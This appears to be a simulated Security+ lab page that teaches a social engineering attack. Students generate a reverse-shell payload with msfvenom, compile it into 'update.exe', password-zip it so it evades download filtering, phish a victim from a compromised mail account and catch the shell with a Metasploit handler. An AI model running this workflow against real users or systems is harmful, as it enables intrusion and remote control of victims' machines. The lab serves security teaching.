Lab 1 — Social Engineering Attack
Aligned to CompTIA Security+ (SY0-601) 1.1 & 1.2 · 15 points graded · Simulation environment
Objectives
What you'll do
- Build a malicious EXE file
- Experience a social engineering attack
- Attack a target machine in a hidden network
Grading — 15 points
- Task 1 — Build
update.exe(5 pts) - Task 2 — Craft the phishing email (5 pts)
- Task 3 — Gain control of the victim (5 pts)
Lab Topology (simulated)
| Machine | Role | IP Address | Account |
|---|---|---|---|
| Kali | Attacker workstation | 203.0.113.2 | kali / kali |
| pfSense | Firewall — WAN ⇄ DMZ ⇄ LAN | 192.168.0.1 | sysadmin |
| UbuntuSRV | Mail server (DMZ) | 172.16.1.10 | sysadmin |
| WinOS | Victim workstation (hidden LAN) | 192.168.0.50 | lab-user (Will Smith) |
The WAN (internet) cannot initiate a connection into the LAN. The attacker's path in is a compromised mail account — not a network exploit. That's the whole lesson.
Task 1 — Build the Malicious Windows Executable 0 / 5
You are logged into Kali as kali. A partially-built payload wrapper, main.cpp, is already sitting in your Documents folder. Use msfvenom to generate shellcode, splice it into the source, compile it into update.exe, then password-protect it in a zip so it survives download.
Checklist
- Move into the Documents directory —
cd Documents - Inspect the payload wrapper —
cat main.cpp - Generate the reverse-shell payload with
msfvenom(LHOST=203.0.113.2, LPORT=4444, format C) - Cross-compile to a Windows PE —
x86_64-w64-mingw32-g++ main.cpp -o update.exe - Zip and password-protect the executable —
zip -e update.zip update.exe
Task 2 — Craft the Social Engineering Email 0 / 5
The DMZ mail server hosts webmail for everyone on the LAN — including a compromised account, tech@mail.netlab.local. You'll use it to reach a target the internet normally can't touch: wsmith@mail.netlab.local (Will Smith, our victim), sitting on the hidden 192.168.0.0/24 network.
Task 3 — Gain Control of the Victim Machine 0 / 5
First, stand up a listener on Kali with msfconsole so you're ready to catch the callback. Then switch to the victim's point of view and simulate Will Smith opening your email.
3a · Metasploit Handler (4 pts)
- Select the handler module —
use exploit/multi/handler - Match the payload —
set payload windows/x64/shell_reverse_tcp - Point it at your Kali box —
set LHOST 203.0.113.2 - Start listening —
exploit
3b · Victim Workstation — WinOS (1 pt)
Simulating Will Smith's session on the hidden LAN machine. Click through each step in order.
Lab Completed
Build EXE
Craft Email
Gain Control